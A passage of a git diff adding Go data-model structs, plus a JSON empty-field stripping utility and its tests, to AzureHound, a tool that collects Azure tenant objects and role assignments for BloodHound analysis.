AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import ( + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +type ManagementGroupUserAccessAdmin struct { + UserAccessAdmin azure.RoleAssignment `json:"userAccessAdmin"` + ManagementGroupId string `json:"managementGroupId"` +} + +type ManagementGroupUserAccessAdmins struct { + UserAccessAdmins []ManagementGroupUserAccessAdmin `json:"userAccessAdmins"` + ManagementGroupId string `json:"managementGroupId"` +} diff --git a/models/mgmt-group.go b/models/mgmt-group.go new file mode 100644 index 0000000..17de25e --- /dev/null +++ b/models/mgmt-group.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import ( + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +type ManagementGroup struct { + azure.ManagementGroup + TenantId string `json:"tenantId"` + TenantName string `json:"tenantName"` +} diff --git a/models/resource-group-owner.go b/models/resource-group-owner.go new file mode 100644 index 0000000..31bfbb7 --- /dev/null +++ b/models/resource-group-owner.go @@ -0,0 +1,32 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import ( + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +type ResourceGroupOwner struct { + Owner azure.RoleAssignment `json:"owner"` + ResourceGroupId string `json:"resourceGroupId"` +} + +type ResourceGroupOwners struct { + Owners []ResourceGroupOwner `json:"owners"` + ResourceGroupId string `json:"resourceGroupId"` +} diff --git a/models/resource-group-role-assignment.go b/models/resource-group-role-assignment.go new file mode 100644 index 0000000..3db7b63 --- /dev/null +++ b/models/resource-group-role-assignment.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type ResourceGroupRoleAssignment struct { + RoleAssignment azure.RoleAssignment `json:"roleAssignment"` + ResourceGroupId string `json:"resourceGroupId"` +} + +type ResourceGroupRoleAssignments struct { + RoleAssignments []ResourceGroupRoleAssignment `json:"roleAssignments"` + ResourceGroupId string `json:"resourceGroupId"` +} diff --git a/models/resource-group-user-access-admin.go b/models/resource-group-user-access-admin.go new file mode 100644 index 0000000..3751f9f --- /dev/null +++ b/models/resource-group-user-access-admin.go @@ -0,0 +1,32 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import ( + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +type ResourceGroupUserAccessAdmin struct { + UserAccessAdmin azure.RoleAssignment `json:"userAccessAdmin"` + ResourceGroupId string `json:"resourceGroupId"` +} + +type ResourceGroupUserAccessAdmins struct { + UserAccessAdmins []ResourceGroupUserAccessAdmin `json:"userAccessAdmins"` + ResourceGroupId string `json:"resourceGroupId"` +} diff --git a/models/resource-group.go b/models/resource-group.go new file mode 100644 index 0000000..fa2bb67 --- /dev/null +++ b/models/resource-group.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type ResourceGroup struct { + azure.ResourceGroup + SubscriptionId string `json:"subscriptionId"` + TenantId string `json:"tenantId"` +} diff --git a/models/role-assignments.go b/models/role-assignments.go new file mode 100644 index 0000000..ad93799 --- /dev/null +++ b/models/role-assignments.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import ( + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +type RoleAssignments struct { + RoleAssignments []azure.UnifiedRoleAssignment `json:"roleAssignments"` + RoleDefinitionId string `json:"roleDefinitionId"` + TenantId string `json:"tenantId"` +} diff --git a/models/role.go b/models/role.go new file mode 100644 index 0000000..71750e7 --- /dev/null +++ b/models/role.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import ( + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +type Role struct { + azure.Role + TenantId string `json:"tenantId"` + TenantName string `json:"tenantName"` +} diff --git a/models/service-principal-owner.go b/models/service-principal-owner.go new file mode 100644 index 0000000..bb44eb0 --- /dev/null +++ b/models/service-principal-owner.go @@ -0,0 +1,44 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import ( + "encoding/json" +) + +type ServicePrincipalOwner struct { + Owner json.RawMessage `json:"owner"` + ServicePrincipalId string `json:"servicePrincipalId"` +} + +func (s *ServicePrincipalOwner) MarshalJSON() ([]byte, error) { + output := make(map[string]any) + output["servicePrincipalId"] = s.ServicePrincipalId + + if owner, err := OmitEmpty(s.Owner); err != nil { + return nil, err + } else { + output["owner"] = owner + return json.Marshal(output) + } +} + +type ServicePrincipalOwners struct { + Owners []ServicePrincipalOwner `json:"owners"` + ServicePrincipalId string `json:"servicePrincipalId"` +} diff --git a/models/service-principal.go b/models/service-principal.go new file mode 100644 index 0000000..61a6977 --- /dev/null +++ b/models/service-principal.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type ServicePrincipal struct { + azure.ServicePrincipal + TenantId string `json:"tenantId"` + TenantName string `json:"tenantName"` +} diff --git a/models/storage-account.go b/models/storage-account.go new file mode 100644 index 0000000..ff73499 --- /dev/null +++ b/models/storage-account.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type StorageAccount struct { + azure.StorageAccount + SubscriptionId string `json:"subscriptionId"` + ResourceGroupId string `json:"resourceGroupId"` + ResourceGroupName string `json:"resourceGroupName"` + TenantId string `json:"tenantId"` +} diff --git a/models/storage-container.go b/models/storage-container.go new file mode 100644 index 0000000..807610c --- /dev/null +++ b/models/storage-container.go @@ -0,0 +1,29 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type StorageContainer struct { + azure.StorageContainer + SubscriptionId string `json:"subscriptionId"` + ResourceGroupId string `json:"resourceGroupId"` + ResourceGroupName string `json:"resourceGroupName"` + StorageAccountId string `json:"storageAccountId"` + TenantId string `json:"tenantId"` +} diff --git a/models/subscription-owner.go b/models/subscription-owner.go new file mode 100644 index 0000000..2e2f22b --- /dev/null +++ b/models/subscription-owner.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type SubscriptionOwner struct { + Owner azure.RoleAssignment `json:"owner"` + SubscriptionId string `json:"subscriptionId"` +} + +type SubscriptionOwners struct { + Owners []SubscriptionOwner `json:"owners"` + SubscriptionId string `json:"subscriptionId"` +} diff --git a/models/subscription-role-assignment.go b/models/subscription-role-assignment.go new file mode 100644 index 0000000..4505273 --- /dev/null +++ b/models/subscription-role-assignment.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type SubscriptionRoleAssignment struct { + RoleAssignment azure.RoleAssignment `json:"roleAssignment"` + SubscriptionId string `json:"subscriptionId"` +} + +type SubscriptionRoleAssignments struct { + RoleAssignments []SubscriptionRoleAssignment `json:"roleAssignments"` + SubscriptionId string `json:"subscriptionId"` +} diff --git a/models/subscription-user-access-admin.go b/models/subscription-user-access-admin.go new file mode 100644 index 0000000..f4be7e8 --- /dev/null +++ b/models/subscription-user-access-admin.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type SubscriptionUserAccessAdmin struct { + UserAccessAdmin azure.RoleAssignment `json:"userAccessAdmin"` + SubscriptionId string `json:"subscriptionId"` +} + +type SubscriptionUserAccessAdmins struct { + UserAccessAdmins []SubscriptionUserAccessAdmin `json:"userAccessAdmins"` + SubscriptionId string `json:"subscriptionId"` +} diff --git a/models/subscription.go b/models/subscription.go new file mode 100644 index 0000000..ac841a4 --- /dev/null +++ b/models/subscription.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type Subscription struct { + azure.Subscription + TenantId string `json:"tenantId"` +} diff --git a/models/task.go b/models/task.go new file mode 100644 index 0000000..69614ad --- /dev/null +++ b/models/task.go @@ -0,0 +1,38 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "time" + +type ClientTask struct { + ADStructureCollection bool `json:"ad_structure_collection"` + ClientId string `json:"client_id"` + CreatedAt time.Time `json:"created_at"` + DomainController string `json:"domain_controller"` + EndTime time.Time `json:"end_time"` + EventId int `json:"event_id"` + EventTitle string `json:"event_title"` + ExectionTime time.Time `json:"exection_time"` + Id int `json:"id"` + LocalGroupCollection bool `json:"local_group_collection"` + LogPath string `json:"log_path"` + SessionCollection bool `json:"session_collection"` + StartTime time.Time `json:"start_time"` + Status int `json:"status"` + UpdatedAt time.Time `json:"updated_at"` +} diff --git a/models/tenant.go b/models/tenant.go new file mode 100644 index 0000000..7fed704 --- /dev/null +++ b/models/tenant.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type Tenant struct { + azure.Tenant + Collected bool `json:"collected,omitempty"` +} diff --git a/models/update-client-request.go b/models/update-client-request.go new file mode 100644 index 0000000..5612214 --- /dev/null +++ b/models/update-client-request.go @@ -0,0 +1,35 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +type UpdateClientRequest struct { + Address string `json:"address"` + Username string `json:"username"` + Hostname string `json:"hostname"` + Version string `json:"version"` + UserSid string `json:"usersid"` +} + +type UpdateClientResponse struct { + ID string `json:"id"` + Name string `json:"name"` + IPAddress string `json:"ip_address"` + Hostname string `json:"hostname"` + CurrentJobID int `json:"current_job_id"` + CurrentJob ClientJob `json:"current_job"` +} diff --git a/models/user.go b/models/user.go new file mode 100644 index 0000000..8582149 --- /dev/null +++ b/models/user.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import ( + "github.com/bloodhoundad/azurehound/v2/models/azure" +) + +type User struct { + azure.User + TenantId string `json:"tenantId"` + TenantName string `json:"tenantName"` +} diff --git a/models/utils.go b/models/utils.go new file mode 100644 index 0000000..0e0baf6 --- /dev/null +++ b/models/utils.go @@ -0,0 +1,65 @@ +package models + +import ( + "encoding/json" + "reflect" +) + +func OmitEmpty(raw json.RawMessage) (json.RawMessage, error) { + var data map[string]any + if err := json.Unmarshal(raw, &data); err != nil { + return nil, err + } else { + StripEmptyEntries(data) + return json.Marshal(data) + } +} + +func StripEmptyEntries(data map[string]any) { + for key, value := range data { + if isEmpty(reflect.ValueOf(value)) { + delete(data, key) + } else if nested, ok := value.(map[string]any); ok { // recursively strip nested maps + StripEmptyEntries(nested) + } else if slice, ok := value.([]any); ok { + value = make([]any, len(value.([]any))) + i := 0 + for _, item := range slice { + if mapValue, ok := item.(map[string]any); ok { + StripEmptyEntries(mapValue) + } + if !isEmpty(reflect.ValueOf(item)) { + value.([]any)[i] = item + i++ + } + } + value = value.([]any)[:i] + } + + // Strip top level if empty post recursive strip + if _, ok := data[key]; ok && isEmpty(reflect.ValueOf(value)) { + delete(data, key) + } + } +} + +func isEmpty(value reflect.Value) bool { + switch value.Kind() { + case reflect.Array, reflect.Map, reflect.Slice, reflect.String: + return value.Len() == 0 + case reflect.Bool: + return value.Bool() == false + case reflect.Float32, reflect.Float64: + return value.Float() == 0 + case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: + return value.Int() == 0 + case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64: + return value.Uint() == 0 + case reflect.Interface, reflect.Pointer: + return value.IsNil() + case reflect.Invalid: + return true + default: + return false + } +} diff --git a/models/utils_test.go b/models/utils_test.go new file mode 100644 index 0000000..ec3a7d1 --- /dev/null +++ b/models/utils_test.go @@ -0,0 +1,228 @@ +package models_test + +import ( + "encoding/json" + "testing" + + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/stretchr/testify/require" +) + +type Foo struct { + Bar string +} + +func TestStripEmptyEntries(t *testing.T) { + t.Run("should omit empty basic types", func(t *testing.T) { + var pointer *Foo + + data := map[string]any{ + "array": [0]any{}, + "map": map[string]any{}, + "slice": []any{}, + "string": "", + "bool": false, + "float32": float32(0), + "float64": float64(0), + "int": int(0), + "int8": int8(0), + "int16": int16(0), + "int32": int32(0), + "int64": int64(0), + "uint": uint(0), + "uint8": uint8(0), + "uint16": uint16(0), + "uint32": uint32(0), + "uint64": uint64(0), + "pointer": pointer, + "nil": nil, + } + + require.NotEmpty(t, data) + models.StripEmptyEntries(data) + require.Empty(t, data) + }) + + t.Run("should not omit non-empty basic types", func(t *testing.T) { + data := map[string]any{ + "array": [1]any{1}, + "map": map[any]any{"foo": "bar"}, + "slice": []any{1}, + "string": "foo", + "bool": true, + "float32": float32(1), + "float64": float64(1), + "int": int(1), + "int8": int8(1), + "int16": int16(1), + "int32": int32(1), + "int64": int64(1), + "uint": uint(1), + "uint8": uint8(1), + "uint16": uint16(1), + "uint32": uint32(1), + "uint64": uint64(1), + "pointer": &Foo{}, + } + + require.NotEmpty(t, data) + numKeys := len(data) + models.StripEmptyEntries(data) + require.NotEmpty(t, data) + require.Equal(t, numKeys, len(data)) + }) + + t.Run("should not omit empty struct types", func(t *testing.T) { + data := map[string]any{ + "struct": Foo{Bar: "baz"}, + } + + require.NotEmpty(t, data) + numKeys := len(data) + models.StripEmptyEntries(data) + require.NotEmpty(t, data) + require.Equal(t, numKeys, len(data)) + require.NotEmpty(t, data["struct"]) + require.Equal(t, data["struct"].(Foo).Bar, "baz") + }) + + t.Run("should recursively strip non-empty, nested map[string]any entries", func(t *testing.T) { + data := map[string]any{ + "empty": map[string]any{ + "false": false, + "emptystring": "", + "emptynest": map[string]any{ + "false": false, + "emptystring": "", + }, + }, + "nonempty": map[string]any{ + "emptyprop": 0, + "nonemptyprop": 1, + }, + } + + models.StripEmptyEntries(data) + require.Nil(t, data["empty"]) + require.NotNil(t, data["nonempty"]) + require.IsType(t, map[string]any{}, data["nonempty"]) + nested := data["nonempty"].(map[string]any) + require.Equal(t, 1, len(nested)) + require.Nil(t, nested["emptyprop"]) + require.Equal(t, 1, nested["nonemptyprop"]) + }) + + t.Run("should strip empty slice entries of type map[string]any", func(t *testing.T) { + data := map[string]any{ + "empty": []any{ + map[string]any{ + "false": false, + "emptystring": "", + }, + }, + "emptynestedslice": []any{ + map[string]any{ + "nestedslice": []any{ + map[string]any{ + "false": false, + "emptystring": "", + }, + }, + "emptystring": "", + }, + }, + "nonempty": []any{ + map[string]any{ + "emptyprop": 0, + "nonemptyprop": 1, + }, + }, + } + + models.StripEmptyEntries(data) + require.Nil(t, data["empty"]) + require.Nil(t, data["emptynestedslice"]) + require.NotNil(t, data["nonempty"]) + require.IsType(t, []any{}, data["nonempty"]) + slice := data["nonempty"].([]any) + require.IsType(t, map[string]any{}, slice[0]) + entry := slice[0].(map[string]any) + require.Nil(t, entry["emptyprop"]) + require.Equal(t, 1, entry["nonemptyprop"]) + }) +} + +func TestOmitEmpty(t *testing.T) { + t.Run("should omit empty basic types", func(t *testing.T) { + data := json.RawMessage(`{ + "string": "", + "number": 0, + "object": {}, + "array": [], + "boolean": false, + "null": null + }`) + + filtered, err := models.OmitEmpty(data) + require.Nil(t, err) + require.Equal(t, `{}`, string(filtered)) + }) + + t.Run("should not omit non-empty basic types except empty structs", func(t *testing.T) { + data := json.RawMessage(`{ + "string": "foo", + "number": 1, + "object": { "bar": "" }, + "array": [1], + "boolean": true + }`) + + filtered, err := models.OmitEmpty(data) + require.Nil(t, err) + require.Equal(t, `{"array":[1],"boolean":true,"number":1,"string":"foo"}`, string(filtered)) + }) + + t.Run("should omit empty struct/object types, just their empty properties", func(t *testing.T) { + data := json.RawMessage(`{ + "object": { "bar": "" } + }`) + + filtered, err := models.OmitEmpty(data) + require.Nil(t, err) + require.Equal(t, `{}`, string(filtered)) + }) + + t.Run("should recursively strip non-empty, nested object entries", func(t *testing.T) { + data := json.RawMessage(`{ + "empty": {}, + "nonempty": { + "emptyprop": 0, + "nonemptyprop": 1 + } + }`) + + filtered, err := models.OmitEmpty(data) + require.Nil(t, err) + require.Equal(t, `{"nonempty":{"nonemptyprop":1}}`, string(filtered)) + }) + + t.Run("should strip non-empty array entries of type object", func(t *testing.T) { + data := json.RawMessage(`{ + "empty": [], + "nonempty": [{ + "emptyprop": 0, + "nonemptyprop": 1 + }] + }`) + + filtered, err := models.OmitEmpty(data) + require.Nil(t, err) + require.Equal(t, `{"nonempty":[{"nonemptyprop":1}]}`, string(filtered)) + }) + + t.Run("should return an error", func(t *testing.T) { + invalidJson := json.RawMessage(`{]}`) + _, err := models.OmitEmpty(invalidJson) + require.Error(t, err) + }) +} diff --git a/models/virtual-machine-admin-login.go b/models/virtual-machine-admin-login.go new file mode 100644 index 0000000..8016879 --- /dev/null +++ b/models/virtual-machine-admin-login.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type VirtualMachineAdminLogin struct { + AdminLogin azure.RoleAssignment `json:"adminLogin"` + VirtualMachineId string `json:"virtualMachineId"` +} + +type VirtualMachineAdminLogins struct { + AdminLogins []VirtualMachineAdminLogin `json:"adminLogins"` + VirtualMachineId string `json:"virtualMachineId"` +} diff --git a/models/virtual-machine-avere-contributor.go b/models/virtual-machine-avere-contributor.go new file mode 100644 index 0000000..8898b2c --- /dev/null +++ b/models/virtual-machine-avere-contributor.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type VirtualMachineAvereContributor struct { + AvereContributor azure.RoleAssignment `json:"avereContributor"` + VirtualMachineId string `json:"virtualMachineId"` +} + +type VirtualMachineAvereContributors struct { + AvereContributors []VirtualMachineAvereContributor `json:"avereContributors"` + VirtualMachineId string `json:"virtualMachineId"` +} diff --git a/models/virtual-machine-contributor.go b/models/virtual-machine-contributor.go new file mode 100644 index 0000000..79492ad --- /dev/null +++ b/models/virtual-machine-contributor.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type VirtualMachineContributor struct { + Contributor azure.RoleAssignment `json:"contributor"` + VirtualMachineId string `json:"virtualMachineId"` +} + +type VirtualMachineContributors struct { + Contributors []VirtualMachineContributor `json:"contributors"` + VirtualMachineId string `json:"virtualMachineId"` +} diff --git a/models/virtual-machine-owner.go b/models/virtual-machine-owner.go new file mode 100644 index 0000000..d251188 --- /dev/null +++ b/models/virtual-machine-owner.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package models + +import "github.com/bloodhoundad/azurehound/v2/models/azure" + +type VirtualMachineOwner struct { + Owner azure.RoleAssignment `json:"owner"` + VirtualMachineId string `json:"virtualMachineId"` +} + +type VirtualMachineOwners struct { + Owners []VirtualMachineOwner `json:"owners"` + VirtualMachineId string 